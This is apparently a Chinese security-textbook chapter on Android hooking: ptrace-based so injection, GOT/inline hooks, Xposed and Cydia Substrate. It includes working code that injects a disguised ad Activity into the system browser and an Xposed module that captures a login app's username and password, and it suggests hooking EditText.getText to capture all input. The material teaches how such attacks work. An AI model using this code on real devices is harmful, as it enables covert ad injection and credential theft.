咱们在讨论动态注入技术的时候,APIHook的技术由来已久,在操做系统未能提供所需功能的状况下,利用APIHook的手段来实现某种必需的功能也算是一种不得已的办法。在Windows平台下开发电子词典的光标取词功能,这项功能就是利用Hook API的技术把系统的字符串输出函数替换成了电子词典中的函数,从而能获得屏幕上任何位置的字符串。不管是16位的Windows95,仍是32位的Windws NT,都有办法向整个系统或特定的目标进程中“注入”DLL动态库,并替换掉其中的函数。 android
可是在Android上进行Hook须要跨进程操做,咱们知道在Linux上的跨进程操做须要Root权限。因此目前Hook技术普遍地应用在安全类软件的主动防护上,所见到的Hook类病毒并很少。 git
Android系统在开发中会存在两种模式,一个是Linux的Native模式,而另外一个则是创建在虚拟机上的Java模式。因此,咱们在讨论Hook的时候,可想而知在Android平台上的Hook分为两种。一种是Java层级的Hook,另外一种则是Native层级的Hook。两种模式下,咱们一般可以经过使用JNI机制来进行调用。但咱们知道,在Java中咱们可以使用native关键字对C/C++代码进行调用,可是在C/C++中却很难调用Java中的代码。因此,咱们可以在Java层级完成的事基本也不会在Native层去完成。 github
尚未接触过Hook技术读者必定会对Hook一词感受到特别的陌生,Hook英文翻译过来就是“钩子”的意思,那咱们在何时使用这个“钩子”呢?咱们知道,在Android操做系统中系统维护着本身的一套事件分发机制。应用程序,包括应用触发事件和后台逻辑处理,也是根据事件流程一步步地向下执行。而“钩子”的意思,就是在事件传送到终点前截获并监控事件的传输,像个钩子钩上事件同样,而且可以在钩上事件时,处理一些本身特定的事件。较为形象的流程如图8-1所示。 算法
Hook的这个本领,使它可以将自身的代码“融入”被勾住(Hook)的程序的进程中,成为目标进程的一个部分。咱们也知道,在Android系统中使用了沙箱机制,普通用户程序的进程空间都是独立的,程序的运行彼此间都不受干扰。这就使咱们但愿经过一个程序改变其余程序的某些行为的想法不能直接实现,可是Hook的出现给咱们开拓了解决此类问题的道路。固然,根据Hook对象与Hook后处理的事件方式不一样,Hook还分为不一样的种类,如消息Hook、API Hook等。 shell
图8-1 Hook原理图 api
Hook技术不管对安全软件仍是恶意软件都是十分关键的一项技术,其本质就是劫持函数调用。可是因为处于Linux用户态,每一个进程都有本身独立的进程空间,因此必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。在Android中通常是经过ptrace函数附加进程,而后向远程进程注入so库,从而达到监控以及远程进程关键函数挂钩。 浏览器
Hook技术的难点,并不在于Hook技术,初学者借助于资料“照葫芦画瓢”可以很容易就掌握Hook的基本使用方法。如何找到函数的入口点、替换函数,这就涉及了理解函数的链接与加载机制。 安全
从Android的开发来讲,Android系统自己就提供给了咱们两种开发模式,基于Android SDK的Java语言开发,基于AndroidNDK的Native C/C++语言开发。因此,咱们在讨论Hook的时候就必须在两个层面上来讨论。对于Native层来讲Hook的难点实际上是在理解ELF文件与学习ELF文件上,特别是对ELF文件不太了解的读者来讲;对于Java层来讲,Hook就须要了解虚拟机的特性与Java上反射的使用。 服务器
以前咱们介绍过Hook的原理就是改变目标函数的指向,原理看起来并不复杂,可是实现起来却不是那么的简单。这里咱们将问题细分为两个,一个是如何注入代码,另外一个是如何注入动态连接库。 网络
注入代码咱们就须要解决两个问题。
注入动态共享库咱们也须要解决两个问题:
这里我也不卖关子了,说一下目前对上述问题的解决方案吧。对于进程附着,Android的内核中有一个函数叫ptrace,它可以动态地attach(跟踪一个目标进程)、detach(结束跟踪一个目标进程)、peektext(获取内存字节)、poketext(向内存写入地址)等,它可以知足咱们的需求。而Android中的另外一个内核函数dlopen,可以以指定模式打开指定的动态连接库文件。对于程序的指向流程,咱们能够调用ptrace让PC指向LR堆栈。最后调用,对目标进程调用dlopen则可以将咱们但愿注入的动态库注入至目标进程中。
对于代码的注入(Hook API),咱们可使用mmap函数分配一段临时的内存来完成代码的存放。对于目标进程中的mmap函数地址的寻找与Hook API函数地址的寻找都须要经过目标进程的虚拟地址空间解析与ELF文件解析来完成,具体算法以下。
目标进程函数绝对地址= 函数地址 + 动态库基地址
上面说了这么多,向目标进程中注入代码总结后的步骤分为如下几步。
(1)用ptrace函数attach上目标进程。
(2)发现装载共享库so函数。
(3)装载指定的.so。
(4)让目标进程的执行流程跳转到注入的代码执行。
(5)使用ptrace函数的detach释放目标进程。
对应的工做原理流程如图8-2所示。
图8-2 基于Ptrace的Hook工做流程
说到了Hook咱们就不能不说一下ptrace函数,ptrace提供了一种使父进程得以监视和控制其余进程的方式,它还可以改变子进程中的寄存器和内核映像,于是能够实现断点调试和系统调用的跟踪。使用ptrace,你能够在用户层拦截和修改系统调用(这个和Hook所要达到的目的相似),父进程还可使子进程继续执行,并选择是否忽略引发终止的信号。
ptrace函数定义以下所示:
int ptrace(int request, int pid, int addr, int data);
对于ptrace来讲,它的第一个参数决定ptrace会执行什么操做。经常使用的有跟踪指定的进程(PTRACE_ATTACH)、结束跟踪指定进程(PTRACE_DETACH)等。详细的参数与使用方式如表8-1所示。
表8-1 ptrace函数使用详情表
参数与形式 |
说明 |
---|---|
ptrace(PTRACE_TRACEME,0 ,0 ,0) |
本进程被其父进程所跟踪。其父进程应该但愿跟踪子进程 |
ptrace(PTRACE_PEEKTEXT, pid, addr, data) ptrace(PTRACE_PEEKDATA, pid, addr, data) |
从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据 |
ptrace(PTRACE_POKETEXT, pid, addr, data) ptrace(PTRACE_POKEDATA, pid, addr, data) |
往内存地址中写入一个字节。pid表示被跟踪的子进程,内存地址由addr给出,data为所要写入的数据 |
ptrace(PTRACE_PEEKUSR, pid, addr, data) |
从USER区域中读取一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为用户变量地址用于返回读到的数据。USER结构为core文件的前面一部分,它描述了进程停止时的一些状态,如寄存器值,代码、数据段大小,代码、数据段开始地址等 |
ptrace(PTRACE_POKEUSR, pid, addr, data) |
往USER区域中写入一个字节,pid表示被跟踪的子进程,USER区域地址由addr给出,data为需写入的数据 |
ptrace(PTRACE_CONT, pid, 0, signal) |
继续执行。pid表示被跟踪的子进程,signal为0则忽略引发调试进程停止的信号,若不为0则继续处理信号signal |
ptrace(PTRACE_SYS, pid, 0, signal) |
继续执行。pid表示被跟踪的子进程,signal为0则忽略引发调试进程终止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不一样的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被终止,并通知父进程 |
ptrace(PTRACE_KILL,pid) |
杀掉子进程,使它退出。pid表示被跟踪的子进程 |
ptrace(PTRACE_KILL, pid, 0, signle) |
设置单步执行标志,单步执行一条指令。pid表示被跟踪的子进程。signal为0则忽略引发调试进程停止的信号,若不为0则继续处理信号signal。当被跟踪进程单步执行完一个指令后,被跟踪进程被终止,并通知父进程 |
ptrace(PTRACE_ATTACH,pid) |
跟踪指定pid 进程。pid表示被跟踪进程。被跟踪进程将成为当前进程的子进程,并进入终止状态 |
ptrace(PTRACE_DETACH,pid) |
结束跟踪。pid表示被跟踪的子进程。结束跟踪后被跟踪进程将继续执行 |
ptrace(PTRACE_GETREGS, pid, 0, data) |
读取寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取全部17个基本寄存器的值 |
ptrace(PTRACE_SETREGS, pid, 0, data) |
设置寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置全部17个基本寄存器的值 |
ptrace(PTRACE_GETFPREGS, pid, 0, data) |
读取浮点寄存器值,pid表示被跟踪的子进程,data为用户变量地址用于返回读到的数据。此功能将读取全部浮点协处理器387的全部寄存器的值 |
ptrace(PTRACE_SETREGS, pid, 0, data) |
设置浮点寄存器值,pid表示被跟踪的子进程,data为用户数据地址。此功能将设置全部浮点协处理器387的全部寄存器的值 |
咱们所讨论的Hook,也就是平时咱们所说的函数挂钩、函数注入、函数劫持等操做。针对Android操做系统,根据API Hook对应的API不同咱们能够分为使用Android SDK开发环境的Java API Hook与使用Android NDK开发环境的Native API Hook。而对于Android中so库文件的函数Hook,根据ELF文件的特性能分为Got表Hook、Sym表Hook以及inline Hook等。固然,根据Hook方式的应用范围咱们在Android这样一个特殊的环境中还能分别出全局Hook与单个应用程序Hook。本节,咱们就具体地说说这些Hook的原理以及这些Hook方式给咱们使用Hook带来的便利性。
TIPS
对于Hook程序的运行环境不一样,还能够分为用户级API Hook与内核级API Hook。用户级API Hook主要是针对在操做系统上为用户所提供的API函数方法进行重定向修改。而内核级API Hook则是针对Android内核Linux系统提供的内核驱动模式形成的函数重定向,多数是应用在Rootkit中。
经过对Android平台的虚拟机注入与Java反射的方式,来改变Android虚拟机调用函数的方式(ClassLoader),从而达到Java函数重定向的目的。这里咱们将此类操做称为Java API Hook。由于是根据Java中的发射机制来重定向函数的,那么不少Java中反射出现的问题也会在此出现,如没法反射调用关键字为native的方法函数(JNI实现的函数),基本类型的静态常量没法反射修改等。
主要是针对使用NDK开发出来的so库文件的函数重定向,其中也包括对Android操做系统底层的Linux函数重定向,如使用so库文件(ELF格式文件)中的全局偏移表GOT表或符号表SYM表进行修改从而达到的函数重定向,咱们有能够对其称为GOT Hook和SYM Hook。针对其中的inline函数(内联函数)的Hook称为inline Hook。
针对Hook的不一样进程来讲又能够分为全局Hook与单个应用程序进程Hook,咱们知道在Android系统中,应用程序进程都是由Zygote进程孵化出来的,而Zygote进程是由Init进程启动的。Zygote进程在启动时会建立一个Dalvik虚拟机实例,每当它孵化一个新的应用程序进程时,都会将这个Dalvik虚拟机实例复制到新的应用程序进程里面去,从而使每个应用程序进程都有一个独立的Dalvik虚拟机实例。因此若是选择对Zygote进程Hook,则可以达到针对系统上全部的应用程序进程Hook,即一个全局Hook。对比效果如图8-3所示。
图8-3 Hook前和Hook后的对比
而对应的app_process正是zygote进程启动一个应用程序的入口,常见的Hook框架Xposed与Cydiasubstrate也是经过替换app_process来完成全局Hook的。
API Hook技术是一种用于改变API执行结果的技术,可以将系统的API函数执行重定向。一个应用程序调用的函数方法被第三方 Hook 重定向后,其程序执行流程与执行结果是没法确认的,更别提程序的安全性了。而Hook技术的出现并非为病毒和恶意程序服务的,Hook技术更多的是应用在安全管理软件上面。可是不管怎么说,已经被Hook后的应用程序,就毫无安全可言了。
在平常工做学习中,咱们但愿使用Hook技术来完成某功能实际上是至关烦琐的,但也并非不可能的。咱们这里没有手动地从新书写一个Hook工具,而是使用到了第三方提供的框架来作演示。Android的Hook技术虽然发展不久,可是也出现了不少的Hook框架工具。本节咱们就具体介绍一下目前经常使用到的Hook框架。
Xposed框架是一款能够在不修改APK的状况下影响程序运行(修改系统)的框架服务,经过替换/system/bin/app_process 程序控制 zygote 进程,使 app_process 在启动过程当中加载XposedBridge.jar 这个jar包,从而完成对Zygote进程及其建立的Dalvik虚拟机的劫持。基于Xposed框架能够制做出许多功能强大的模块,且在功能不冲突的状况下同时运做。此外,Xposed框架中的每个库还能够单独下载使用,如Per App Setting(为每一个应用设置单独的dpi或修改权限)、Cydia、XPrivacy(防止隐私泄露)、BootManager(开启自启动程序管理应用),对原生Launcher替换图标等应用或功能均基于此框架。
官网地址:http://repo.xposed.info/。
源码地址:https://github.com/rovo89。
Xposed框架是基于一个Android的本地服务应用XposedInstaller与一个提供API的jar文件来完成的。因此,安装使用Xposed框架咱们须要完成如下几个步骤。
须要安装XposedInstall.apk本地服务应用,咱们可以在其官网的framework栏目中找到,下载并安装。地址为:
http://repo.xposed.info/module/de.robv.android.xposed.installer。
安装好后进入XposedInstaller应用程序,会出现须要激活框架的界面,如图8-5所示。这里咱们点击“安装/更新”就能完成框架的激活了。部分设备若是不支持直接写入的话,能够选择“安装方式”,修改成在Recovery模式下自动安装便可。
图8-4 Xposed框架Logo
图8-5 XposedInstall应用激活界面
由于安装时会须要Root权限,安装后会启动Xposed的app_process,因此安装过程当中会存在设备屡次从新启动。
TIPS
因为国内的部分ROM对Xposed不兼容,若是安装Xposed不成功的话,强制使用Recovery写入可能会形成设备反复重启而没法正常启动。
其 API 库XposedBridgeApi-<version>.jar(version 是 XposedAPI 的版本号,如咱们这里是XposedBridgeApi-54.jar)文件,咱们可以在Xposed的官方支持xda论坛找到,其地址为:
http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067
下载完毕后咱们须要将 Xposed Library 复制到 lib目录(注意是 lib 目录,不是Android提供的 libs 目录),而后将这个 jar 包添加到 Build PATH 中,效果如图8-6所示。
图8-6 Android项目中的lib与libs目录截图
若是直接将jar包放置到了libs目录下,极可能会产生错误“IllegalAccessError: Class ref in pre-verified class resolved to unexpected implementation”。估计Xposed做者在其框架内部也引用了BridgeApi,这样操做能够避免重复引用。
若是使用过苹果手机的用户应该对Cydiasubstrate框架一点都不会陌生,由于Cydiasubstrate框架为苹果用户提供了越狱相关的服务框架。Cydiasubstrate原名MobileSubstrate(类库中都是以MS开头的),做者为大名鼎鼎的Jay Freeman(saurik)。固然Cydiasubstrate 也推出了Android版。Cydia Substrate是一个代码修改平台。它能够修改任何主进程的代码,无论是用Java仍是C/C++(native代码)编写的。而Xposed只支持HOOK app_process中的 Java 函数,所以 Cydiasubstrate 是一款强大而实用的 HOOK工具。
图8-7 CydiaSubstrate框架Logo
官网地址:http://www.cydiasubstrate.com/
与使用Xposed框架相似,使用Cydiasubstrate框架以前咱们须要配置它的使用环境,对于强大的Cydiasubstrate框架使用其实只须要配置两个地方。安装Cydiastrate框架Android本地服务,下载使用Cydiastrate提供的API。
一个就是在Android设备中安装Cydiasubstrate框架的本地服务应用substrate.apk,咱们能够在其官网下载到。
官方下载地址为:http://www.cydiasubstrate.com/download/com.saurik.substrate.apk。
固然,咱们安装substrate后,须要“Link Substrate Files”(链接本地的Substrate服务文件),这一步是须要Root权限的,链接后还须要重启设备才可以生效。Substrate服务设置应用如图8-8所示。
图8-8 Substrate应用Link后界面
Cydiasubstrate官方建议以在Android SDK Manager中添加它们插件地址的方式进行更新下载,如图8-9所示,在用户自定义网址中添加http://asdk.cydiasubstrate.com/addon.xml。
图8-9 在Android SDK Manager中添加Cydiasubstate地址
经过使用Android SDK Manager工具下载完Cydiasubstrate框架后,其存储于目录${ANDROID_ HOME}\sdk\extras\saurikit\cydia_substrate下。可是,因为Android SDK Manager在国内使用起来存在不少的限制,下载的时候也不是很是稳定,因此仍是建议你们直接去官网下载开发库。
官方下载地址为:http://asdk.cydiasubstrate.com/zips/cydia_substrate-r2.zip。
下载完成后,将获得的全部文件(不少的jar包与so库),都复制到Android项目下的libs文件夹中,就能够直接使用了。效果如图8-10所示。
图8-10 Android工程中的libs目录截图
其中的substrate.h头文件与lib文件夹下的so文件是提供在使用NDK进行原生Hook程序开发中的函数支持库。
TIPS
CydiaSubstrate框架对于inline Hook的操做目前还存在一些bug,使用的时候可能会出现崩溃的现象,部分使用了国内定制的ROM的设备在使用CydiaSubstrate框架时会出现设备没法从新启动或没法Hook的现象。
ADBI(全称为:Android Dynamic Binary Instrumentation Toolkit)即Android的动态二进制指令工具包,兼容Android中的ARM与Thmub指令,提供动态库注入与函数Hook(包括inline Hook)。固然,其也提供了Java层的相似功能,即DDI(Dynamic Dalvik Instrumentation Toolkit)框架。
ADBI/DDI框架与Xposed和CydiaSubstrate框架最大的区别是,它是一个命令行工具,使用起来更加的简单方便。咱们能够在Github上找到其源码,地址为:
ADBI:https://github.com/crmulliner/adbi。
DDI:https://github.com/crmulliner/ddi
前面咱们介绍过Cydiasubstrate框架提供在Java层Hook的能力,其中主要是提供了三个比较重要的方法,MS.hookClassLoad、MS.hookMethod、MS.moveUnderClassLoader。三个方法的具体介绍如表8-2所示。
表8-2 CydiaSubstrate中经常使用到的Java Hook方法
方法名 |
说明 |
---|---|
MS.hookClassLoad |
拿到指定Class载入时的通知 |
MS.hookMethod |
使用一个Java方法去替换另外一个Java方法 |
MS.moveUnderClassLoader |
使用不一样的ClassLoder重载对象 |
几个方法的具体参数与返回值,咱们能够看以下的方法具体定义。
* Hook一个指定的Class * * @paramname Class的包名+类名,如android.content.res.Resources * @paramhook 成功Hook一个Class后的回调 */ voidhookClassLoad(String name, MS.ClassLoadHook hook); /** * Hook一个指定的方法,并替换方法中的代码 * * @param_class Hook的calss * @parammember Hook class的方法参数 * @paramhook 成功Hook方法后的回调 * @paramold Hook前方法,相似C中的方法指针 */ voidhookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old); /** * Hook一个指定的方法,并替换方法中的代码 * * @param_class Hook的calss * @parammember Hook class的方法参数 * @paramalteration */ voidhookMethod(Class _class, Member member, MS.MethodAlteration alteration); /** * 使用一个ClassLoader重载一个对象 * * @paramloader 使用的ClassLoader * @paramobject 待重载的对象 * @return重载后的对象 */ <T>TmoveUnderClassLoader(ClassLoader loader, T object);
说了这么多咱们下面实战一下,如咱们但愿Hook Android系统中的Resources类,并将系统中的颜色都改成紫罗兰色。思路很简单,咱们只须要拿到系统中Resources类的getColor方法,将其返回值作修改便可。
使用substrate来实现分为如下几步。
1.在AndroidManifest.xml文件中配置主入口
须要在AndroidManifest.xml中声明cydia.permission.SUBSTRATE权限,声明substrate的主入口。具体代码以下所示。
<!-- 加入substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <!-- 声明substrate的注入口味Main类 --> <meta-data android:name="com.saurik.substrate.main" android:value=".Main" /> </application>
2.新建立主入口Main.Java类
上一步中已经声明了主入口为Main类,因此咱们须要在对应的目录下新建一个Main类,且须要实现其initialize方法。具体实现以下:
publicclass { /** * substrate 初始化后的入口 */ staticvoidinitialize() { } }
3.Hook系统的Resources,Hook其getColor方法,修改成紫罗兰
使用MS.hookClassLoad方法Hook系统的Resources类,并使用MS.hookMethod方法hook其getColor方法,替换其方法。具体实现以下所示。
importJava.lang.reflect.Method; importcom.saurik.substrate.MS; publicclass { /** * substrate 初始化后的入口 */ staticvoidinitialize() { // hook 系统的 Resources类 MS.hookClassLoad("android.content.res.Resources", newMS.ClassLoadHook() { // 成功hook resources类 publicvoidclassLoaded(Class<?> resources) { // 获取 Resources类中的 getColor方法 Method getColor; try{ getColor = resources.getMethod("getColor", Integer.TYPE); } catch(NoSuchMethodException e) { getColor = null; } if(getColor != null) { // Hook前的原方法 finalMS.MethodPointer old = newMS.MethodPointer(); // hook Resources类中的getColor方法 MS.hookMethod(resources, getColor, newMS.MethodHook() { publicObject invoked(Object resources, Object...args) throwsThrowable { intcolor = (Integer) old.invoke(resources, args); // 将全部绿色修改为了紫罗兰色 returncolor & ~0x0000ff00 | 0x00ff0000; } }, old); } } }); } }
4.安装、重启、验证
由于咱们的应用是没有Activity,只存在substrate的,因此安装后substrate就会自动地执行了。重启后,咱们打开浏览器引用,发现颜色已经改变了,如图8-11所示。
阅读了本例以后,读者们是否是发现使用了CydiaSubstrate框架后咱们Hook系统中的一些Java API并非什么难事?上面的例子咱们只是简单地修改了Resources中的getColor方法,并无涉及到系统与应用的安全。可是,若是开发者直接Hook系统安全方面比较敏感的方法,如TelephonyManager 类中getDeviceId方法、短信相关的方法或一些关键的系统服务中的方法,那么后果是不堪想象的。
图8-11 Hook系统Resources的浏览器先后界面截图
从上面的例子咱们能够看出来,使用Cydiasubstrate框架咱们可以任意地Hook系统中的Java API,固然其中也用到了不少的反射机制,那么除了系统中给开发者提供的API之外,咱们可否也Hook应用程序中的一些方法呢?答案是确定的。下面咱们就以一个实际的例子讲解一下如何Hook一个应用程序。
下面咱们针对Android操做系统的浏览器应用,Hook其首页Activity的onCreate方法(其余方法不必定存在,可是onCreate方法必定会有),并在其中注入咱们的广告。根据上面对Cydiasubstrate的介绍,咱们有了一个简单的思路。
首先,咱们根据某广告平台的规定,在咱们的AndroidManifest.xml文件中填入一些广告相关的ID,而且在AndroidManifest.xml文件中填写一些使用Cydiasubstrate相关的配置与权限。固然,咱们还会声明一个广告的Activity,并设置此Activity为背景透明的Activity,为何设置为透明背景的Activity,原理如图8-12所示。
图8-12 注入广告Activity原理图
其AndroidManifest.xml文件的部份内容以下所示。
<!-- 广告相关的权限 --> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.GET_TASKS" /> <!-- 加入substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <!-- 广告相关参数 --> <meta-data android:name="App_ID" android:value="c62bd976138fa4f2ec853bb408bb38af" /> <meta-data android:name="App_PID" android:value="DEFAULT" /> <!-- 声明substrate的注入口为Main类 --> <meta-data android:name="com.saurik.substrate.main" android:value="com.example.hookad.Main" /> <!-- 透明无动画的广告Activity --> <activity android:name="com.example.hookad.MainActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar" > <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <!-- 广告的action --> <action android:name="com.example.hook.AD" /> </intent-filter> </activity> </application>
对于Cydiasubstrate的主入口Main类,依照以前的步骤新建一个包含有initialize方法的Main类。这个时候咱们但愿使用MS.hookClassLoad方式找到浏览器主页的Activity名称,这里咱们在adb shell下使用dumpsys activity命令找到浏览器主页的Activity名称为com.android.browser.BrowserActivity,如图8-13所示。
图8-13 使用dumpsys activity查看当前activity名称
使用MS.hookClassLoad方法获取了BrowserActivity以后再hook其onCreate方法,在其中启动一个含有广告的Activity。Main类的代码以下所示。
publicclass { /** * substrate 初始化后的入口 */ staticvoidinitialize() { //Hook 浏览器的主Activity,BrowserActivity MS.hookClassLoad("com.android.browser.BrowserActivity", newMS. ClassLoadHook() { publicvoidclassLoaded(Class<?> resources) { Log.e("test", "com.android.browser.BrowserActivity"); // 获取BrowserActivity的onCreate方法 Method onCreate; try{ onCreate = resources.getMethod("onCreate", Bundle.class); } catch(NoSuchMethodException e) { onCreate = null; } if(onCreate != null) { finalMS.MethodPointer old = newMS.MethodPointer(); // hook onCreate方法 MS.hookMethod(resources, onCreate, newMS.MethodHook() { publicObject invoked(Object object, Object...args) throwsThrowable { Log.e("test", "show ad"); // 执行Hook前的onCreate方法,保证浏览器正常启动 Object result = old.invoke(object, args); // 没有Context //执行一个shell启动咱们的广告Activity CMD.run("am start -a com.example.hook.AD"); returnresult; } }, old); } } }); } }
对于启动的广告MainActivity,在其中会弹出一个插屏广告,固然也能够是其余形式的广告或者浮层,内容比较简单这里不作演示了。对整个项目进行编译,运行。这个时候咱们从新启动Android自带的浏览器的时候发现,浏览器会弹出一个广告弹框,如图8-14所示。
从上面的图片咱们能够看出来了,以前咱们设置插屏广告MainActivity为无标题透明(Theme.Translucent.NoTitleBar)就是为了使弹出来的广告与浏览器融为一体,让用户感受是浏览器弹出的广告。这也是恶意广告程序为了防止自身被卸载掉的一些通用隐藏手段。
这里演示的注入广告是经过Hook指定的Activity中的onCreate方法来启动一个广告Activity的。固然,这里咱们演示的Activity只是简单地弹出了一个广告。若是启动的Activity带有恶意性,如将Activity作成与原Activity如出一辙的钓鱼Activity,那么对于移动设备用户来讲是极具欺骗性的。
图8-14 Hook浏览器弹出广告
看了上面的两个Hook例子,不少读者应该都可以了解了Hook所带来的巨大危害性,特别是针对一些有目的性的Hook。例如咱们常见的登陆劫持,就是使用到了Hook技术来完成的。那么这个登陆劫持是如何完成的呢?下面咱们就具体来看看,一个咱们在开发中常见到的登陆例子。首先咱们看看一个常见的登陆界面是什么样子的,图8-15所示是一个常见的登陆页面。
图8-15 一个登陆界面demo
其对应的登陆流程代码以下所示。
// 登陆按钮的onClick事件 mLoginButton.setOnClickListener(newOnClickListener() { @Override publicvoidonClick(View v) { // 获取用户名 String username = mUserEditText.getText() + ""; //获取密码 String password = mPasswordEditText.getText() + ""; if(isCorrectInfo(username, password)) { Toast.makeText(MainActivity.this, "登陆成功!", Toast.LENGTH_LONG).show(); } else{ Toast.makeText(MainActivity.this, "登陆失败!", Toast.LENGTH_LONG).show(); } } });
咱们会发现,登陆界面上面的用户信息都存储在EditText控件上,而后经过用户手动点击“登陆”按钮才会将上面的信息发送至服务器端去验证帐号与密码是否正确。这样就很简单了,黑客们只须要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的帐户与密码了。具体流程如图8-16所示。
图8-16 App登陆劫持流程
TIPS
固然,咱们也能够仿照上一个例子,作一个如出一辙的Activity,再劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。
明白了原理下面咱们就实际地操做一次,这里咱们选择使用Xposed框架来操做。使用Xposed进行Hook操做主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时的回调并拿到其对应的classLoader,findAndHookMethod对指定类的方法进行Hook。它们的详细定义以下所示。
/** * 包加载时的回调 */ publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) /** * Xposed提供的Hook方法 * * @paramclassName 待Hook的Class * @paramclassLoader classLoader * @parammethodName 待Hook的Method * @paramparameterTypesAndCallback hook回调 * @return */ Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)
固然,咱们使用Xposed进行Hook也分为以下几个步骤。
1.在AndroidManifest.xml文件中配置插件名称与Api版本号
<application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <meta-data android:name="xposedmodule" android:value="true" /> <!-- 模块描述 --> <meta-data android:name="xposeddescription" android:value="一个登陆劫持的样例" /> <!-- 最低版本号 --> <meta-data android:name="xposedminversion" android:value="30" /> </application>
2.新建立一个入口类继承并实现IXposedHookLoadPackage接口
以下操做,咱们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即咱们只操做包名为com.example.login的应用,以下所示。
publicclass implementsIXposedHookLoadPackage { /** * 包加载时的回调 */ publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable { // 将包名不是 com.example.login 的应用剔除掉 if(!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); } }
3.声明主入口路径
须要在assets文件夹中新建一个xposed_init文件,并在其中声明主入口类。如这里咱们的主入口类为com.example.loginhook.Main,查看其内容截图如图8-17所示。
图8-17 xposed_init内容截图
4.使用findAndHookMethod方法Hook劫持登陆信息
这是最重要的一步,咱们以前所分析的都须要到这一步进行操做。如咱们以前所分析的登陆程序,咱们须要劫持就是须要Hook其com.example.login.MainActivity中的isCorrectInfo方法。咱们使用Xposed提供的findAndHookMethod直接进行MethodHook操做(与Cydia很相似)。在其Hook回调中使用XposedBridge.log方法,将登陆的帐号密码信息打印至Xposed的日志中。具体操做以下所示。
importstaticde.robv.android.xposed.XposedHelpers.findAndHookMethod; publicclass implementsIXposedHookLoadPackage { /** * 包加载时的回调 */ publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable { // 将包名不是 com.example.login 的应用剔除掉 if(!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); // Hook MainActivity中的isCorrectInfo(String,String)方法 findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class, String.class, newXC_MethodHook() { @Override protectedvoidbeforeHookedMethod(MethodHookParam param) throwsThrowable { XposedBridge.log("开始劫持了~"); XposedBridge.log("参数1 = " + param.args[0]); XposedBridge.log("参数2 = " + param.args[1]); } @Override protectedvoidafterHookedMethod(MethodHookParam param) throwsThrowable { XposedBridge.log("劫持结束了~"); XposedBridge.log("参数1 = " + param.args[0]); XposedBridge.log("参数2 = " + param.args[1]); } }); } }
5.在XposedInstaller中启动咱们自定义的模块
编译后安装在Android设备上的模块应用程序不会当即生效,咱们须要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常地生效,如图8-18所示。
6.重启验证
重启Android设备,进入XposedInstaller查看日志模块,由于咱们以前使用的是XposedBridge.log方法打印log,因此log都会显示在此处。如图8-19所示,咱们发现咱们须要劫持的帐号密码都显示在此处。
图8-18 Xposed框架加载模块界面
图8-19 XPosed框架日志界面
TIPS
这里咱们是经过逆向分析该登陆页面的登陆判断调用函数来完成Hook与劫持工做的。有些读者应该想出来了,咱们能不能直接对系统中提供给咱们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样咱们就可以对系统中全部的输入进行监控劫持了。这里留给你们一个思考,感兴趣的读者能够尝试一下。
以前咱们演示过了如何在Java层Hook系统的API方法,可是咱们都知道不少安全级别较高的操做咱们都不会在Java层来完成,并且Java层不少的API都是经过JNI的方式在Native层完成的,因此对Java层的API方法Hook意义不是很大。本节咱们就具体来讲说在Android中如何使用CydiaSubstrate框架完成Native层的Hook操做。
对于CydiaSubstrate框架来讲,其给咱们提供了相似在Java中的API方法,如在Native层的MSJavaHookClassLoad函数(相似Java中的hookClassLoad方法)、MSJavaHookMethod函数(相似Java中的hookMethod)。做者的意图就是为了让咱们可以在Native层使用JNI完成Java函数的Hook。其中两个函数的具体定义以下:
/** * 经过JNI Hook Java中的ClassLoad * * @jni jni指针 * @name 待Hook的类,字符串形式 * @callback Hook后的回调 * @data 自定义参数数据 */ voidMSJavaHookClassLoad(JNIEnv *jni, constchar*name, void(*callback)(JNIEnv *, jclass, void*), void*data); /** * 经过JNI Hook Java中的指定方法 * * @jni jni指针 * @_class jclass * @methodId 待Hook方法ID * @hook Hook后待替换的函数 * @old Hook前原函数的指针 */ voidMSJavaHookMethod(JNIEnv *jni, jclass _class, jmethodID methodId, void*hook, void**old);
